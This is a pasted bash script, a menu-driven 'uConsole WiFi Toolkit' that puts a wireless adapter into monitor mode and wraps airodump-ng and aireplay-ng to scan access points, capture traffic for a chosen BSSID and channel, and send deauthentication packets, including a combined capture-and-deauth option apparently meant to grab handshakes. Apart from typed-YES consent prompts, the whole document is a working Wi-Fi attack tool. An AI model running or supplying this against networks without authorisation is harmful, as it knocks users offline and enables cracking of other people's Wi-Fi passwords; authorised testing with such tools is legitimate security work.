CCCPaste

uConsole wifi script

#!/bin/bash

# ============================================================
# USER SETTINGS
# Change these to suit your own setup
# ============================================================

IFACE="wlan1" # WiFi adapter used for monitor mode
CAPTURE_DIR="$HOME/wifi/captures" # Folder to save captures

DEFAULT_WAIT_TIME=8 # Seconds before deauth in option 6
DEFAULT_DEAUTH_COUNT=10 # Default number of deauth packets

SCRIPT_TITLE="uConsole WiFi Toolkit"

# ============================================================
# SCRIPT START
# ============================================================

pause() {
echo
read -p "Press Enter to continue..."
}

while true; do
clear
echo "$SCRIPT_TITLE"
echo "===================="
echo "Current interface: $IFACE"
echo "Capture folder: $CAPTURE_DIR"
echo
echo "1) Set $IFACE to monitor mode using iw"
echo "2) Set $IFACE to monitor mode using airmon-ng"
echo "3) Scan access points"
echo "4) Capture BSSID/channel only"
echo "5) Deauth test only"
echo "6) Capture and deauth"
echo "7) Show wireless interfaces"
echo "0) Exit"
echo
read -p "Choose an option: " choice

case "$choice" in
1)
sudo ip link set "$IFACE" down
sudo iw dev "$IFACE" set type monitor
sudo ip link set "$IFACE" up
iw dev
pause
;;

2)
sudo airmon-ng start "$IFACE"
pause
;;

3)
echo "Scanning on $IFACE. Press Ctrl+C to stop."
sleep 2
sudo airodump-ng "$IFACE"
pause
;;

4)
read -p "Enter BSSID: " BSSID
read -p "Enter channel: " CHANNEL

mkdir -p "$CAPTURE_DIR"

sudo airodump-ng \
-w "$CAPTURE_DIR/capture" \
-c "$CHANNEL" \
--bssid "$BSSID" \
"$IFACE"

pause
;;

5)
read -p "Enter BSSID: " BSSID
read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}

echo
echo "Only continue if this is your own network or an authorised test."
read -p "Type YES to continue: " confirm

if [ "$confirm" = "YES" ]; then
sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
else
echo "Cancelled."
fi

pause
;;

6)
read -p "Enter BSSID: " BSSID
read -p "Enter channel: " CHANNEL
read -p "Seconds before deauth? Default $DEFAULT_WAIT_TIME: " WAIT_TIME
read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT

WAIT_TIME=${WAIT_TIME:-$DEFAULT_WAIT_TIME}
DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}

echo
echo "Only continue if this is your own network or an authorised test."
read -p "Type YES to continue: " confirm

if [ "$confirm" != "YES" ]; then
echo "Cancelled."
pause
continue
fi

mkdir -p "$CAPTURE_DIR"

echo
echo "[+] Starting capture on $IFACE..."
echo "[+] Press Ctrl+C to stop capture when done."
echo

sudo airodump-ng \
-w "$CAPTURE_DIR/capture" \
-c "$CHANNEL" \
--bssid "$BSSID" \
"$IFACE" &

AIRO_PID=$!

sleep "$WAIT_TIME"

echo
echo "[+] Sending deauth packets..."
sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"

echo
echo "[+] Capture is still running."
echo "[+] Press Ctrl+C to stop it."

wait "$AIRO_PID"
pause
;;

7)
iw dev
pause
;;

0)
exit 0
;;

*)
echo "Invalid option."
sleep 1
;;
esac
done